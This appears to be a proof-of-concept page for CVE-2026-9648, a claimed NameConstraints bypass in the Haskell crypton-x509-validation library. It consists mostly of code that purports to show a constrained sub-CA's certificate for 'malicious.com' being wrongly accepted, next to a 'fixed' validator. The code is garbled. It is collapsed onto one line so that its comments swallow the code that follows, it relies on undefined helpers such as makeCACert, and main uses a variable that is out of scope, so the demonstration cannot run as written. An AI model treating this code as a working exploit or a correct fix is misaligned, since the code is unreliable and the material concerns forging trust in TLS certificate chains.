CVE-2026-9648: crypton-x509-validation库NameConstraints验证绕过漏洞

{-| PoC for CVE-2026-9648: crypton-x509-validation NameConstraints bypass This demonstrates how a compromised name-constrained sub-CA can issue certificates for domains outside its permitted scope. - Note: This is for educational purposes only. - {-# LANGUAGE OverloadedStrings #-} module Main where import Data.X509 import Data.X509.Validation import Data.Hourglass import Data.Default.Class -- Simulate a name-constrained sub-CA with permitted subtree for *.example.com -- The vulnerability allows this CA to also issue certs for other domains createVulnerableCertChain :: IO (Maybe ServiceID, SignedCertificate) createVulnerableCertChain = do let -- A sub-CA with constraint: only *.example.com constrainedSubCA = makeCACert "ConstrainedSubCA" ["*.example.com"] -- Attacker creates cert for malicious.com using the sub-CA -- This should FAIL validation but succeeds due to the bug maliciousCert = makeLeafCert constrainedSubCA "malicious.com" serviceID = ServiceID "malicious.com" "https" 443 return (Just serviceID, maliciousCert) -- Vulnerable validation that bypasses NameConstraints check validateVulnerable :: SignedCertificate -> IO Bool validateVulnerable cert = do let -- Default validation settings without proper NameConstraints enforcement settings = defaultHooks -- This should reject cert because domain is outside CA's permitted subtree -- But due to CVE-2026-9648, it incorrectly accepts it result = validate defaultServiceID settings cert return $ either (const False) (const True) result -- The fix: proper NameConstraints validation validateFixed :: SignedCertificate -> IO Bool validateFixed cert = do let -- Custom validation with explicit NameConstraints check settings = defaultHooks { hookValidateNameConstraints = checkNameConstraints } result = validate defaultServiceID settings cert return $ either (const False) (const True) result main :: IO () main = do putStrLn "CVE-2026-9648 PoC Demonstration" putStrLn "==============================" putStrLn "Testing vulnerable validation..." vulnerableResult <- validateVulnerable maliciousCert putStrLn $ "Vulnerable validation result: " ++ show vulnerableResult putStrLn "" putStrLn "Testing fixed validation..." fixedResult <- validateFixed maliciousCert putStrLn $ "Fixed validation result: " ++ show fixedResult putStrLn "" putStrLn $ "Vulnerability exists: " ++ show (vulnerableResult && not fixedResult)